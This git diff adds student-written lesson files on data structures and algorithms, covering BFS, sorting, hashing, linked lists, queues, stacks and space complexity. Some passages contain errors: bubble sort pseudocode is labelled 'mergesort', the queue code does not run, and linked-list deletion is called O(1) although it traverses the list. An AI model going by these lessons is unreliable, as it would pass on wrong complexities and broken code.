+ def BFS(self, s):
+
+ # Mark all the vertices as not visited
+ visited = [False] * (len(self.graph))
+
+ # Create a queue for BFS
+ queue = []
+
+ # Mark the source node as
+ # visited and enqueue it
+ queue.append(s)
+ visited[s] = True
+
+ while queue:
+
+ # Dequeue a vertex from
+ # queue and print it
+ s = queue.pop(0)
+ print (s, end = " ")
+
+ # Get all adjacent vertices of the
+ # dequeued vertex s. If a adjacent
+ # has not been visited, then mark it
+ # visited and enqueue it
+ for i in self.graph[s]:
+ if visited[i] == False:
+ queue.append(i)
+ visited[i] = True
+
+# Driver code
+
+# Create a graph given in
+# the above diagram
+g = Graph()
+g.addEdge(0, 1)
+g.addEdge(0, 2)
+g.addEdge(1, 2)
+g.addEdge(2, 0)
+g.addEdge(2, 3)
+g.addEdge(3, 3)
+
+print ("Following is Breadth First Traversal"
+ " (starting from vertex 2)")
+g.BFS(2)
+
+# This code is contributed by Neelam Yadav
+```
+
+The Big O time and space complexity is O(|V+E|). |V| symbolizes all the vertices in the tree. |E| symbolizes all the edges in the tree. Since you need to traverse them all at worst case, Big O is a function of all the vertices.
diff --git a/Data-Structures-and-Algos-Topic/concepts/Bubblesort.md b/Data-Structures-and-Algos-Topic/concepts/Bubblesort.md
new file mode 100644
index 00000000..432d991f
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/Bubblesort.md
@@ -0,0 +1,35 @@
+
+
+# Bubble Sort
+
+Bubble Sort is the simplest of the four types of sorting algorithms we will be going over in this lab since it only uses swapping to sort through the entire list.
+
+### Implementation of Bubble Sort:
+
+1. Compare the first two numbers, and if they are not sorted, then swap the two.
+2. Move on to the second and third values, compare the two numbers, then swap if necessary.
+3. Repeat this process to the end of this list, until the last pair of numbers are sorted.
+4. Start again from the first number and continue this process until the entire list is sorted.
+
+
+
+Now that we understand how Bubble Sort works, let's look at some pseudocode, modified from the Programiz website, that demonstrates an implementation of this sorting algorithm:
+
+```
+mergesort(array):
+ for i = 1 to index of last sorted element:
+ if left element > right element:
+ swap left element and right element
+```
+
+### Important Characteristics of Bubble Sort:
+
+* Bubble Sort is useful for rearranging values very quickly.
+* The best time complexity for Bubble Sort is O(n), which happens when the array is already sorted.
+* The average and worse time complexity of O(n^2), which happens when the numbers in the array are in reverse order (decreasing, rather than increasing).
+* The space complexity for Bubble Sort is O(1) because there only needs to be additional memory space for the temporary variable used for swapping two elements.
+
+
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/concepts/Chaining.md b/Data-Structures-and-Algos-Topic/concepts/Chaining.md
new file mode 100644
index 00000000..e5b47367
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/Chaining.md
@@ -0,0 +1,47 @@
+# concept_name
+Separate Chaining
+
+# Separate Chaining Step 1
+
+## name
+```
+Separate Chaining With Hash Tables
+```
+
+## md_content
+```
+# Separate Chaining when working on Hash tables
+
+When working with **Hash functions**, it is inevitable that the hash function will assign the same HashTable index to multiple inputs since our Hash table only has a finite number of spaces.
+As we can have an infinite number of inputs, the Hash function can assign the same index in our Hash table to multiple inputs.
+This is a problem because a Key-Value pair should be unique in order to have an efficient Hash table.
+```
+
+# Separate Chaining Step 2
+
+## name
+```
+How Separate Chaining is Implemented
+```
+
+## md_content
+```
+To alleviate this problem, what we can do is implement linked lists in our Hash table. In each index in our Hash table, we can store a linked list that points to every input stored in that index.
+This means that when we access our index values in a Hash table, we also need to search through the linked list associated with the index value.
+```
+## image
+
+
+# Separate Chaining Step 3
+
+## name
+```
+Separate Chaining Example
+```
+
+## md_content
+```
+Say that multiple inputs are assigned to the same index 3. Before we implemented a linked list, if we tried to reference that index in our hash table, we'd run into a problem as multiple inputs are stored there.
+However, with Chaining, we are able to link all the inputs stored in that index with a linked list. If we wanted to access a specific value in the linked list, we need to navigate through the linked list until we find the desired value.
+By implementing linked lists into our hash tables, we are able to allocate memory dynamically, fixing our collision issue.
+```
diff --git a/Data-Structures-and-Algos-Topic/concepts/Deleting dictionary elements.md b/Data-Structures-and-Algos-Topic/concepts/Deleting dictionary elements.md
new file mode 100644
index 00000000..a0892c89
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/Deleting dictionary elements.md
@@ -0,0 +1,33 @@
+
+
+To delete from dictionaries, you can either remove individual dictionary elements or clear the entire contents of a dictionary. You can also delete an entire dictionary in a single operation.
+
+We can remove a particular item in a dictionary by using the method `pop()`. This method takes a key as an argument, removes the (key, value) pair, and returns the value at that key.
+
+The method `popitem()` can be used to remove and return the last (key, value) pair from the dictionary. It takes no arguments, and returns both the key and value.
+
+ All the items can be removed at once using the `clear()` method.
+
+We can also use the `del` keyword to remove individual items or the entire dictionary itself.
+
+```python
+dict = {'Name': 'Zara', 'Age': 7, 'Class': 'First', 'School': 'DPS School'}
+del dict['Name']; # remove entry with key 'Name'
+
+print(dict)
+```
+
+The code snippet above should output the entire dictionary `dict` without the `Name` key and its value.
+
+```python
+dict.clear(); # remove all entries in dict
+del dict ; # delete entire dictionary
+```
+
+> Note: _clear()_ function will delete all (key, value) pairs within the dictionary _dict_, but _dict_ will still exist as an empty dictionary.
+>
+> Note: using the _del_ function on the entire dictionary means _dict_ will no longer exist as it would be completely deleted.
+
+
+
+The average case time complexity of deleting an item from a dictionary is O(1). This is because every time you delete an element, you only ever give one argument, and the same operation is done every time, making it take a constant time.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/concepts/Deleting from a Linked List.md b/Data-Structures-and-Algos-Topic/concepts/Deleting from a Linked List.md
new file mode 100644
index 00000000..9e693a64
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/Deleting from a Linked List.md
@@ -0,0 +1,27 @@
+
+
+You’ll be happy to know that delete is very similar to search! The delete method traverses the list in the same way that search does, but in addition to keeping track of the current node, the delete method also remembers the last node it visited. When delete finally arrives at the node it wants to delete, it simply removes that node from the chain by “leap frogging” it. This means that when the delete method reaches the node it wants to delete, it looks at the last node it visited (the ‘previous’ node), and resets that previous node’s pointer so that, rather than pointing to the soon-to-be-deleted node, it will point to the next node in line. Since no nodes are pointing to the poor node that is being deleted, it is effectively removed from the list!
+
+This method also uses a base case that checks if the list is empty or if there is only one value left in the list. It needs a separate check for these, because the while loop shown below won't work and throws an error in these cases. If the list is empty, a `ValueError` is raised, which prints the message shown below (this also prints when the method iterates through the whole list and the data value isn't in the list). When there is only one value, the method deletes that value and sets the head pointer to the value after it: None. This effectively clears the list.
+
+The time complexity for the delete method is O(1), because it takes the same amount of time to delete a node no matter the size of the linked list. This is because we only delete one node when we call this function, so the action is the same every time. This is the best, average, and worst case time complexity, so this method is very time efficient.
+
+```python
+def delete(self, data):
+ current = self.head
+ previous = None
+ found = False
+ while current and found is False:
+ if current.get_data() == data:
+ found = True
+ else:
+ previous = current
+ current = current.get_next()
+ if current is None:
+ raise ValueError("Data not in list")
+ if previous is None:
+ self.head = current.get_next()
+ else:
+ previous.set_next(current.get_next())
+```
+
diff --git a/Data-Structures-and-Algos-Topic/concepts/Hash Table - Double Hashing.md b/Data-Structures-and-Algos-Topic/concepts/Hash Table - Double Hashing.md
new file mode 100644
index 00000000..7627ea2d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/Hash Table - Double Hashing.md
@@ -0,0 +1,66 @@
+# concept_name
+Double Hahsing
+
+# image_folder
+curriculum/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act2_HashTables/Double_Hashing_Example.jpeg
+
+# Double Hashing Step 1
+
+## name
+Reason on Importance of Double Hashing
+
+## md_content
+```
+ # Motivation
+
+In Hash Tables, when there is a collision, we must have a collision resolution technique when keys are hashed to the same bucket. Double Hashing is an example of a collision resolution technique. This technique is a part of open addressing.
+```
+
+# Double Hashing Step 2
+
+## name
+Explaing the 2 Primary Hash Functions
+
+## md_content
+```
+### Preliminary Information 1
+
+* There are **two** hash functions (`h1(k)` and `h2(k)`)
+
+* The overall, complete hashing function is `h(k) = h1(k) + i * h2(k) % (size of table)` .
+
+* `i` is initialized to 0 and incremented everytime there is a collision. This means that `h2(k)` is **only** used when there is a collision, otherwise we **only** use `h1(k)`.
+
+* The following are common examples of hash functions used in double hashing
+
+ * `h1(k) = k % (size of table)`
+ * `h2(k) = X - (k % X)`
+ * X must be **prime** and **less than** the size of the hash table
+ * We do not want `h2(k)` to equal 0 as this would mean that `h(k) = h1(k) + i * 0 = h1(k).`2
+```
+
+# Double Hashing Step 3
+
+## name
+Application of Double Hashing
+
+## md_content
+```
+# Example
+
+Double Hashing is best demonstrated through an example.
+
+Say that we have a hash table of size 5. We will let `X = 3` as this is a prime number that is less than the size of the hash table. Let's try to insert the numbers 1, 6, and 11.
+```
+
+## image
+
+
+
+
+
+
+
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/concepts/Hash Tables - Quadratic Probing.md b/Data-Structures-and-Algos-Topic/concepts/Hash Tables - Quadratic Probing.md
new file mode 100644
index 00000000..ab41f3ce
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/Hash Tables - Quadratic Probing.md
@@ -0,0 +1,62 @@
+# concept_name
+Quadratic Probing
+
+# image_folder
+curriculum/Module4.1_Intro_to_Data_Structures_and_Algos/activities/Act2_HashTables/Quadratic_Probing_Diagram.jpeg
+
+# Quadratic Probing Step 1
+
+## name
+Reason to use Quadratic Probing
+
+## md_content
+```
+# Motivation
+
+In Hash Tables, when there is a collision, we must have a collision resolution technique when keys are hashed to the same bucket. Quadratic Probing is an example of a collision resolution technique. This technique is a part of open addressing.
+```
+
+# Quadratic Probing Step 2
+
+## name
+Conceptual Steps to implement Quadratic Probing
+
+## md_content
+```
+# Preliminary Information1
+
+* We define our hash function to be h(k) = (k+j2) % (size of table)
+* We define j as a counter variable which is initialized to 0 when attempting to insert an element into the hash table. If, when using the hash function, we have a collision, we increment j and recalculate where to insert the element using the new hash function.
+```
+
+# Quadratic Probing Step 3
+
+## name
+Example of implementing Quadratic Probing
+
+## md_content
+```
+# Example2
+
+Quadratic probing is best demonstrated through an example.
+
+Say that we have a hash table of size 5. Let's try to insert the numbers 2, 7, and 22.
+
+Notice how everytime there is a collision, we increment j and reapply the hash function h(k) = (k+j2) % (size of table).
+
+```
+## image
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/concepts/HashTable-Concept.md b/Data-Structures-and-Algos-Topic/concepts/HashTable-Concept.md
new file mode 100644
index 00000000..4910a42c
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/HashTable-Concept.md
@@ -0,0 +1,50 @@
+# concept_name
+Hash Tables
+
+# Hash Tables Step 1
+
+## name
+What is a Hash Table?
+
+## md_content
+```
+A hash table is a data structure that is a common technique used to solve a variety of problems.
+It serves as a key value lookup.
+What this means is that the programmer creates "keys" that link directly to a value.
+Later when looking up information, the programmer can simply lookup the "key" associated to the value they would like and quickly find the value.
+```
+
+# Hash Tables Step 2
+
+## name
+Realistic Example of Hash Tables
+
+## md_content
+```
+A real life example would be the UC Davis student record system.
+Every student is assigned a Student ID number and when the UC Davis offices look up that ID number, a variety of information about the student appears.
+Just by looking up a simple nine-digit number, the system is able to pull up information like a student's name, DOB, address, etc.
+In this example, the key is the ID number and the student information is the value.
+```
+
+# Hash Tables Step 3
+
+## name
+How do Hash Functions work?
+
+## md_content
+```
+### Hash functions
+Hashtables require Hash functions that can be used to simplify data. Hash functions take in our Key value, and assign it an index in our HashTable.
+```
+
+# Hash Tables Step 4
+
+## name
+What is a collision?
+
+## md_content
+```
+# Collisions
+Something we need to be mindful for is collisions. When using a hash function, it is possible for two elements to generate the same key. To fix this, we must use a **Collision Method**.
+```
diff --git a/Data-Structures-and-Algos-Topic/concepts/Hashfunction-Concept.md b/Data-Structures-and-Algos-Topic/concepts/Hashfunction-Concept.md
new file mode 100644
index 00000000..90de85dc
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/Hashfunction-Concept.md
@@ -0,0 +1,52 @@
+# concept_name
+Hashing
+
+
+# Hashing Step 1
+
+## name
+Hash Functions
+
+## md_content
+```
+A hash function is a necesity when working with Hash tables.
+The purpose of the hash function is to take in an input of any sized-length and convert it to a fixed index value.
+This implies that no matter how big the input, the hashfunction should be able to take that input and convert it to a **Hash Value**.
+
+When creating a hash function, there are several aspects we want to keep in mind.
+```
+
+# Hashing Step 2
+
+## name
+Producing Appropriate Hash Values
+
+## md_content
+```
+ Every Hash Value produced should be unique.
+ What this means is that two different inputs should always produce two different Hash Values.
+ This limits **collisions** which is very important if we want our HashTable to be useful.
+```
+
+# Hashing Step 3
+
+## name
+Input = Same Hash Value
+
+## md_content
+```
+The same input should always produce the same Hash Value.
+If we input a string, we want to be getting a consistent Hash Value. If we get inconsistent Hash Values, this essentially deems our Hashtable ineffective .
+```
+
+# Hashing Step 4
+
+## name
+Time Complexity for Hashing
+
+# md_content
+```
+
+The time it takes for our Hash function to produce Hash Values
+We need to be mindful of what time our Hash function works under. The smaller our O(n) time is, the better.
+```
diff --git a/Data-Structures-and-Algos-Topic/concepts/Inserting Into a Linked List.md b/Data-Structures-and-Algos-Topic/concepts/Inserting Into a Linked List.md
new file mode 100644
index 00000000..2f019ce6
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/Inserting Into a Linked List.md
@@ -0,0 +1,38 @@
+
+
+This insert method takes data, initializes a new node with the given data, and adds it to the linked list. Technically you can insert a node anywhere in the list, but the simplest way to do it is to place it at the front of the list and point the new node at the old head, making the new node the new head (sort of pushing the other nodes down the line).
+
+As for time complexity, this implementation of insert is constant O(1) (efficient!). This is because the insert method, no matter what, will always take the same amount of time: it can only take one data point, it can only ever create one node, and the new node doesn’t need to interact with all the other nodes in the list. The inserted node will only ever interact with the head.
+
+```python
+def insert(self, data):
+ new_node = Node(data)
+ new_node.set_next(self.head)
+ self.head = new_node
+```
+
+
+
+**Inserting a node at a specific position in a linked list**
+
+Given a singly linked list, a position, and an element, the task is to write a program to insert that element in a linked list at a given position. Note that position is different from index, that is, there is no 0th position as there is with indices. So position 2 is the second item in the list, no the third.
+
+**Examples:**
+
+```
+Input: 3->5->8->10, data = 2, position = 2
+Output: 3->2->5->8->10
+
+Input: 3->5->8->10, data = 11, position = 5
+Output: 3->5->8->10->11
+```
+
+**Approach:** To insert a given data at a specified position, the algorithm below should be followed:
+
+- Traverse the linked list up to *position-1* nodes (this is the position right before the desired position).
+- Once you've reached the *position-1* node, allocate the memory and the given data to the new node.
+- Point the next pointer of the new node to the next of current node.
+- Point the next pointer of current node to the new node.
+- Base cases:
+ - When the list is empty, simply add the new node to the head of the list.
+ - When the specified position isn't in the list, throw an error and ask for a new position.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/concepts/Insertionsort.md b/Data-Structures-and-Algos-Topic/concepts/Insertionsort.md
new file mode 100644
index 00000000..7948042d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/Insertionsort.md
@@ -0,0 +1,37 @@
+
+
+# Insertion Sort
+
+Insertion Sort is another one of our four basic sorting algorithms, and it is unique in a sense that is similar to how one would sort playing cards in a hand.
+
+### Implementation of Insertion Sort:
+
+1. Compare the first element with the second element. If the element is smaller, move the first element past the second element.
+2. Keep comparing the "first" element with the next elements, passing smaller elements, until we reach an element that is greater than it.
+3. *Insert* that element in that place holder, and start again for the beginning.
+4. Repeat this process until the entire array is sorted.
+
+
+
+Now that we understand how Insertion Sort works, let's look at some pseudocode, modified from the Programiz website, that demonstrates an implementation of this sorting algorithm:
+
+```
+insertionsort(array)
+ mark first element as sorted
+ for each unsorted element X
+ extract the element X
+ for j = last sorted element's index down to 0
+ if current element j > X
+ move sorted element to the right by 1
+ break loop and insert X here
+```
+
+### Important Characteristics of Insertion Sort:
+
+* Insertion sort is most useful when working with data sets that are small or are partially sorted through with only a few misplaced items.
+* The best time complexity of Insertion Sort is O(n), which occurs when the array is already sorted.
+* The worst time complexity of Insertion Sort is O(n^2), which occurs when the array is in reverse order.
+* The space complexity of Insertion Sort is O(1) because one element is moved and compared per iteration.
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/concepts/Mergesort.md b/Data-Structures-and-Algos-Topic/concepts/Mergesort.md
new file mode 100644
index 00000000..59254360
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/Mergesort.md
@@ -0,0 +1,41 @@
+
+
+# Merge Sort
+
+Merges Sort is a sorting algorithm that uses recursion, which means it calls upon itself, and we use sorting algorithms like Merge Sort to make our data more manageable.
+
+### Implementation of Merge Sort:
+
+1. Given an array of elements, start by dividing the array in half into two separate sections.
+2. Divide those two sections in half and will continue to do so until it reaches its base case (each element is standing on its own).
+3. *Merge* the adjacent elements together into pairs and sort them in increasing order.
+4. Repeats this merging process with the resulting pairs and so on until a sorted list remains.
+
+
+
+Now that we understand how Merge Sort works, let's look at some pseudocode, modified from the GeeksforGeeks website, that demonstrates an implementation of this sorting algorithm:
+
+```
+mergesort(array):
+ if length of array > l: # base case
+
+ # dividing array into elements
+ find the middle point (m)
+ divide the array into two halves
+
+ # sort elements in array
+ call mergesort for first half # sort first half
+ call mergesort for second half # sort second half
+
+ # merging elements in array
+ merge the two halves sorted
+```
+
+As we can see from the visual representation and pseudocode, Merge Sort merges elements in specific way. With the resulting list of the inputted array's individually separated elements, Merge Sort starts by merging two elements from both ends, front and back, into sorted pairs. At this point, there should be two sorted pairs in this list—one pair of the first two elements and another of the last two elements. It will continue by adding on the next element, from the front and back, to the pairs, making a sorted set of three. Then, Merge Sort will continue the process until the two resulting halves merge together to finally form a sorted array.
+
+### Important Characteristics of Merge Sort:
+
+- Merge Sort is useful for sorting linked lists.
+- The time complexity of Merge Sort is Θ(nlogn) for worst, average, and best case because dividing the array takes logn times and each pass through the array is proportional to its number of elements, n.
+- The space complexity of Merge Sort is O(n), which shows that this algorithm takes a lot of space and may slow down operations for its last data sets.
+
diff --git a/Data-Structures-and-Algos-Topic/concepts/Queue-Add,Remove,View- Concept.md b/Data-Structures-and-Algos-Topic/concepts/Queue-Add,Remove,View- Concept.md
new file mode 100644
index 00000000..e6eb43dc
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/Queue-Add,Remove,View- Concept.md
@@ -0,0 +1,47 @@
+# Adding and Removing Items from a Queue
+
+### Goals
+
+In this concept, we will learn about the most important functions of a Queue data structure: adding an item to the queue, subtracting an item from the queue, and viewing the queue.
+
+### Adding an Item
+
+To add an item to a queue, we need to create a function `def enqueue()`.
+
+```python
+def enqueue(self, item):
+ self.item.append()
+```
+
+We can call this function by simply using the line of code
+
+```python
+Queuename1.enqueue(Item1)
+```
+
+This adds an item to the **end** of the queue. This is analogous to adding someone to the end of a line at a concert.
+
+### Removing an Item
+
+To remove an item from a queue, we also need to write a function.
+
+```python
+def dequeue(self, item):
+ return self.items.dequeue()
+```
+
+This removes an item from the **front** of the queue. This is analogous to someone being at the front of the line for a concert and being admitted in and removed from the line in order to go enjoy the show!
+
+### To view a queue
+
+The function we write to do this will be a for loop that prints out every element in our queue.
+
+```python
+for i in range (len(self.queue)):
+ print (self.queue[i])
+```
+
+This loops through all of the elements that are **currently in** our queue and prints them out. This is analogous to a security guard checking each person that is in the concert line. The guard won't be checking the people who have already been admitted into the concert (i.e. people who have been dequed) nor checking those who haven't entered the line (haven't been enqueued); the guard will only check those **currently in** line.
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/concepts/Queue-Concept.md b/Data-Structures-and-Algos-Topic/concepts/Queue-Concept.md
new file mode 100644
index 00000000..95e3c2dd
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/Queue-Concept.md
@@ -0,0 +1,56 @@
+# concept_name
+Queue General
+
+# Queue Step 1
+
+## name
+```
+Queues
+```
+
+## md_content
+```
+A queue is a very important data structure in Python. It is essentially a list of elements in Python that we can use to work with data. It is a linear data structure that has a very flexible size and is very easy to add elements to. A queue is very similar to a stack, although the fundamental difference is that the queue follows the **FIFO rule - First in, First out**.
+
+You can think of a queue data structure as similar to a queue (i.e. a line) for a concert. The first person to enter the line, is the first person to leave the line and enter the concert. Similarly, when one is in line for a fast-food restaurant, the cashier attends the first person in line (**F**irst **I**n **F**irst **O**ut)!
+
+As we will see, queues are used in many algorithms and for the implementation of functions for many data structures. For example, queues are used in graph (another important data structure) algorithms such as Breadth-First Search.
+```
+# Queue Step 2
+
+## name
+```
+Queue Function
+```
+
+## md_content
+```
+
+Queues, as a data structure, are essentially a class. We can create a Queue with the following code here.
+
+Just like a stack, we are able to add and remove items from a queue.
+```
+## code_snippet
+```Python
+class Queue():
+ def __init__(self):
+ self.items = []
+```
+
+# Queue Step 3
+
+## name
+```
+Rules for Queue
+```
+
+## md_content
+```
+
+1. Things to Remember
+ 1. The point of entry and exit are different in a Queue.
+ 2. **Enqueue** - Adding an element to a Queue
+ 3. **Dequeue** - Removing an element from a Queue
+ 4. Random access is not allowed - you cannot add or remove an element from the middle.
+
+```
diff --git a/Data-Structures-and-Algos-Topic/concepts/Quicksort.md b/Data-Structures-and-Algos-Topic/concepts/Quicksort.md
new file mode 100644
index 00000000..aa32dc67
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/Quicksort.md
@@ -0,0 +1,43 @@
+
+
+# Quick Sort
+
+Quick Sort is one of our four sorting algorithms, and it is known as the most efficient and fastest of the four. Similar to Merge Sort, Quick Sort also uses recursion in its implementation.
+
+### Implementation of Quick Sort:
+
+1. Determine a **pivot** point, which would be an element in the dataset, and according to GeeksforGeeks, there are many ways to choose a pivot. For instance, always choosing the first element, last element, middle element, or even choosing a random element.
+2. Using the pivot point, *partition* (or divide) the larger unsorted collection into two, smaller lists.
+3. Sort the unsorted collection into two groups. Everything smaller is moved to the right/or left of the pivot point, and everything greater would be moved to the opposite direction of the pivot point.
+4. Then choose another pivot point with in that subgroup.
+5. Repeat this process until the entire data structure is organized.
+6. Recombine all the subgroups back into one big group so the data structure is now organized.
+
+
+
+Now that we understand how Insertion Sort works, let's look at some pseudocode, modified from the Programiz website, that demonstrates an implementation of this sorting algorithm:
+
+```
+quicksort(array, left most index, right most index)
+ if (left most index < right most index)
+ pivot index <- partition(array, left most index, right most index)
+ quicksort(array, left most index, pivot index)
+ quicksort(array, pivot index + 1, right most index)
+
+partition(array, left most index, right most index)
+ set right most index as pivot index
+ storeIndex <- left most index - 1
+ for i <- left most index + 1 to right most index
+ if element[i] < pivot element
+ swap element[i] and element[storeIndex]
+ increment store index
+ swap pivot element and element[store index + 1]
+return store index + 1
+```
+
+### Important Characteristics of Quick Sort:
+
+* The best and average case time complexity of Quick Sort is Θ(nlogn), which happens when the partitions are closely or equally sized.
+* The worst case time complexity of Quick Sort is Θ(n^2), which happens when we have the most unbalanced partitions possible.
+* The space complexity of Quick Sort is O(logn) because space is needed when the partition with the fewest elements is sorted first through recursion.
+
diff --git a/Data-Structures-and-Algos-Topic/concepts/Removing or Deleting elements.md b/Data-Structures-and-Algos-Topic/concepts/Removing or Deleting elements.md
new file mode 100644
index 00000000..611c7e52
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/Removing or Deleting elements.md
@@ -0,0 +1,68 @@
+
+
+There are several ways to remove or delete items from lists.
+
+**The `del` Keyword**
+
+We can delete one or more items from an array using Python's `del` statement.
+
+The syntax of the `del` statement is:
+
+```
+del obj_name
+```
+
+Here, `del` is a Python keyword, notice we don't use dot notation or parentheses to attach it to an array or argument. And, `obj_name` can be variables, user-defined objects, lists, items within lists, dictionaries, etc.
+
+The example below will produce an output that shows the `number` array with the third element deleted.
+
+```python
+import array as arr
+number = arr.array('i', [1, 2, 3, 3, 4])
+
+del number[2] # removing third element
+print(number) # Output: signed int array with [1, 2, 3, 4]
+```
+
+> Note: the second index of an array refers to the third element.
+
+Using the `del` function on an entire array will completely delete the array, and an interactions with the array following deletion will result in an error. Thus, `print(number)` will output an error since `number` no longer exists:
+
+```python
+del number # deleting entire array
+print(number) # Error: array is not defined
+```
+
+**The `remove()` method**
+
+We can use the `remove()` method to remove a given item in the list, that is, a specific element we want to take out.
+
+The `remove()` method takes a single element as an argument and removes it from the list.
+
+If the argument (in this case an element) passed to the `remove()` method doesn't exist, a ValueError exception is thrown.
+
+**The `pop()` method**
+
+The `pop()` method takes a single argument (index) and removes and returns the item present at that index. Note the difference between this and the remove method is that for `pop()`, we pass an index, without caring about the element at that index, to be removed. For `remove()`, we care about the element, without caring about the it's index.
+
+`pop()` also returns the value at the given index, so it both removes an item and outputs a value. `return()` doesn't output anything.
+
+If the index passed to the `pop()` method is not in range, it throws an IndexError: pop index out of range exception.
+
+The parameter passed to the `pop()` method is optional. If no parameter is passed, the default index **-1** is passed as an argument, which returns the last item in the list. This is unlike `remove()`, which needs an argument.
+
+See the use of the pop and remove methods below, and note how they differ:
+
+```python
+import array as arr
+numbers = arr.array('i', [10, 11, 12, 12, 13])
+
+numbers.remove(12)
+print(numbers) # Output: array('i', [10, 11, 12, 13])
+
+print(numbers.pop(2)) # Output: 12
+print(numbers) # Output: array('i', [10, 11, 13])
+```
+
+Notice that for `number.remove(12)`, there were two elements of 12 in the array. When this is the case, the first corresponding element it finds is removed, so you can think about it as the first of the two 12's being deleted.
+
diff --git a/Data-Structures-and-Algos-Topic/concepts/Size of a Linked List.md b/Data-Structures-and-Algos-Topic/concepts/Size of a Linked List.md
new file mode 100644
index 00000000..4590e007
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/Size of a Linked List.md
@@ -0,0 +1,16 @@
+
+
+The size method is very simple. It counts the nodes until it can’t find any more, and returns how many nodes it found. The method starts at the head node and travels down the line of nodes, adding 1 to the count each time. When the tail is reached, it adds 1, and then the tracking variable `current` is set to None, since the value after the tail is None. At this point the while loop is exited and the final count is returned.
+
+```python
+def size(self):
+ current = self.head
+ count = 0
+ while current:
+ count += 1
+ current = current.get_next()
+ return count
+```
+
+The time complexity of size is O(n) because each time the method is called it will always visit every node in the list but only interact with them once, meaning n * 1 operations, n being the number of nodes.
+
diff --git a/Data-Structures-and-Algos-Topic/concepts/Space Complexity - Concept.md b/Data-Structures-and-Algos-Topic/concepts/Space Complexity - Concept.md
new file mode 100644
index 00000000..3a68cced
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/Space Complexity - Concept.md
@@ -0,0 +1,71 @@
+
+# concept_name
+
+Space Complexity
+
+# Space complexity Step 1
+
+## name
+```
+What is space complexiety ? What does it depend on ?
+```
+
+## md_content
+
+```
+Space Complexity is the rate of a function's memory usage as input increases. As the input of functions and algorithms gets very large, the amount of memory required also will increase. It can increase in different rates and Space Complexity allows us to express those rates.
+
+Space Complexity revolves much more on *data types* rather than the executing code.
+
+*Integers*, *floats*, *Strings* are **data types** that always take a constant amount of memory.
+
+**Data Types** like arrays do not take a constant amount of memory. The elements inside an array are malleable so the amount of memory an array takes fluctuates.
+
+```
+
+# Space complexity Step 2
+
+## name
+```
+The importance of space complexity
+```
+
+## md_content
+
+```
+Why does understanding the Space Complexity of a function or algorithm matter? It is important as we do not want our functions to **waste** memory space. That is, if we can solve a problem using one array of size N instead of two arrays of size N, the solution with one array would be better in terms of **space** complexity (please note that we are focusing on **space**). However, space complexity is only one aspect of analyzing an algorithm's efficiency and a minimal space usage does not *neccessarily* mean that the function is considered *efficient* as we might want to consider other factors such as time complexity as well. Looking at a function
+```
+
+# Space complexity Step 3
+
+## name
+```
+Determining space complexity
+```
+
+## code_snippet
+
+```python
+class_grade = [80, 73, 20, 45, 100]
+def GradeAverage(class_grade):
+ average = 0
+ count = 0
+ for i in class_grade:
+ average = average + i
+ count = count + 1
+ average = average / count
+
+ return average
+```
+
+## md_content
+
+```
+Lets examine this block of code, line by line.
+
+The values of the variables`Average` and `Count` will always take a constant amount of space. Those values are *c~1~* and *c~2~*.
+
+We have another data type, `class_grade`, which takes up *c~3~* amount of memory for every *n* element. The amount of memory this takes is *n* * *c~3~* .
+
+The term that has the fastest growing memory usage determines the rate of how much memory is being used by the function. In this case, it would be *n* * *c~3~* which means the function's memory usage growth is linear.
+```
diff --git a/Data-Structures-and-Algos-Topic/concepts/Stacks - Concept.md b/Data-Structures-and-Algos-Topic/concepts/Stacks - Concept.md
new file mode 100644
index 00000000..0e9c6a24
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/Stacks - Concept.md
@@ -0,0 +1,70 @@
+# concept_name
+Stacks
+
+# Stacks Step 1
+
+## name
+```
+Stacks
+```
+
+## md_content
+```
+ # Stacks
+
+ A Stack is a very important data structure in Python. It is essentially a list of elements in Python that we can use to work with data. It is a linear data structure that has a very flexible size and is very easy to add elements to. A stack is very similar to a queue, although the fundamental difference is that the stack follows the **LIFO rule - Last in, first out**.
+```
+
+# Stacks Step 2
+
+## name
+```
+Stacks Explained
+```
+
+## md_content
+```
+ You can think of a stack data structure as similar to a stack of plates. When you reach to pick up a plate, you always grab the plate closest to the top. Essentially, the plate that you placed last is on top and this plate is the first one you remove when you grab a plate (**L**ast **I**n **F**irst **O**ut).
+
+ As we will see, stacks are used in many algorithms and for the implementation of functions for many data structures. For example, stacks are used in graph (another important data structure) algorithms such as Depth-First Search.
+
+```
+
+# Stacks Step 3
+
+## name
+```
+Stack Function
+```
+
+## md_content
+```
+ ## Stack Function
+
+ Stacks, as a data structure, are essentially a class. We can create a stack with the following code here.
+```
+
+## code_snippet
+ ```Python
+ class Stack():
+ def __init__(self):
+ self.items = []
+ ```
+
+# Stacks Step 4
+
+## name
+```
+Things to Remember
+```
+
+## md_content
+```
+
+ ### Things to remember:
+
+ 1. The topmost element provides information about the number of elements in the stack and if the stack is full or empty.
+ 2. The last element to enter the stack will be the first to leave. (**Last In First Out - LIFO**).
+ 3. You cannot remove elements from an empty stack.
+ 4. Random access is not allowed - you cannot add or remove an element from the middle.
+```
